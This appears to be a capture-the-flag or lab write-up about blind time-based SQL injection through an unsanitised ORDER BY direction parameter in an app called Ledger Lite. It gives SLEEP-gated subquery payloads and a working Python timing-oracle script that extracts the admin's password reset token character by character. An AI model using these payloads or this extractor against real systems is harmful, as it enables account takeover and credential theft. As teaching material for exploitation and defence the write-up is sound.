Ledger Lite: Sorting Out a Blind ORDER BY

sort is sound, dir is not.

• re.fullmatch(r"[a-z_]{1,20}", col) is anchored and charset-restricted, so sort cannot carry SQL. Note it is fullmatch, not match - a match without $ would have let created_at,(select 1) through.
• dir is interpolated raw, inside the ORDER BY clause and before LIMIT 50.

What the position allows. ORDER BY takes a comma-separated list of arbitrary expressions, so the following are legal:

desc,(SELECT IF(pred, SLEEP(2), 0) FROM users WHERE username='admin')

Subquery expressions, IF(), CASE, functions and casts are all fair game. The injected text also cannot escape the statement: LIMIT 50 already terminates it, and we cannot legally append a clause before it.

Ruled out:

• UNION - a set operator between SELECTs, not an expression; it cannot appear inside ORDER BY, and inserting LIMIT 1 UNION SELECT ... before the trailing LIMIT 50 is a syntax error because ORDER BY/LIMIT must bind to the whole union.
• Stacked queries - the driver executes one statement per call (no MULTI_STATEMENTS), and rpt has SELECT only, so there is nothing to stack.
• Error-based extraction - every DB exception is converted to a 200 with a constant body; the error text never leaves the process.
• Content-based boolean - we control ordering, not the WHERE clause, so the same 50 rows always come back.
• Sort-order boolean - usable only when created_at has ties; too fragile to build an extractor on.

That leaves time, and the payload must be shaped so the delay is bounded well under the 30 s kill.

Oracle: a SLEEP gated by a predicate over the token, driven through dir:

dir=desc,(SELECT IF(ASCII(SUBSTR(reset_token,1,1))>77, SLEEP(2), 0)
          FROM users WHERE username='admin')

True → ~2 s wall clock; false → the query is still fast, ~50 ms.

The behaviour that decides whether this works: the subquery must stay uncorrelated. MySQL evaluates an uncorrelated scalar subquery once and caches the result, so the ORDER BY sort key is a constant and SLEEP(2) fires exactly once. If you correlate it - anything referencing the outer row, e.g. AND ledger.id > 0 or IF(ledger.amount > 0, ...) - the subquery is re-evaluated once per sorted row, up to 50 times: 50 × 2 s = 100 s, which trips max_execution_time=30000, kills the statement, and looks exactly like a false answer (or a client timeout). That silent collapse is the trap.

Two supporting details:

• SLEEP() returns 0 in both branches, so the sort key is constant and the result set is byte-identical on true and false. Only latency differs - which is fine, since the body must not change.
• Keep the delay at 1–2 s so a slow-but-true response (say 3 s under load) is still far below 30 s and easily separated from the ~50 ms baseline.

Payload is sent URL-encoded in dir; sort stays created_at so the regex never blocks the request.

import time, requests
URL = "http://ledger.lite/reports"
BASE = {"sort": "created_at"}

def probe(pred):
    p = BASE | {"dir": "desc,(SELECT IF((%s),SLEEP(2),0) FROM users WHERE username='admin')" % pred}
    t0 = time.perf_counter()
    try:
        requests.get(URL, params=p, timeout=25)
    except requests.Timeout:
        return None                      # 30s kill / network -> retry, never 'true'
    return time.perf_counter() - t0

def oracle(pred, fast, slow):
    for _ in range(3):
        dt = probe(pred)
        if dt is None or dt >= slow:     # killed or ambiguous
            continue
        return dt >= fast
    raise RuntimeError("unstable oracle: check subquery correlation")

# calibration: one known-false and one known-true predicate, 3 samples each
t_false = sorted(probe("0") for _ in range(3))[1]
t_true  = sorted(probe("1") for _ in range(3))[1]
fast, slow = t_false + (t_true - t_false) / 2, t_false + 10.0

• Cheat on the length first: SELECT LENGTH(reset_token) FROM users WHERE username='admin' - one 7-request binary search instead of scanning to a fixed offset.
• Requests per character: binary search over ASCII 32–126, 7 probes per character; 32 characters ≈ 224 requests ≈ 8 minutes at 2 s per true bit.
• Baseline, not a constant: server load changes the fast path; measure t_false in the same run and derive the threshold, rather than hardcoding 1.0 s.
• Kill detection: a requests.Timeout or a ~25–30 s response is not a true. It means the subquery got correlated (or the query engine is busy); retry, and if it repeats, stop and re-test IF(0,SLEEP(2),0) to confirm the oracle shape.
• Sanity tripwire: if a character comes back as 0 or the whole token is non-hex while the app only issues 32-char hex tokens, the oracle is inverted - flip the comparison and re-run a single byte against a known prefix.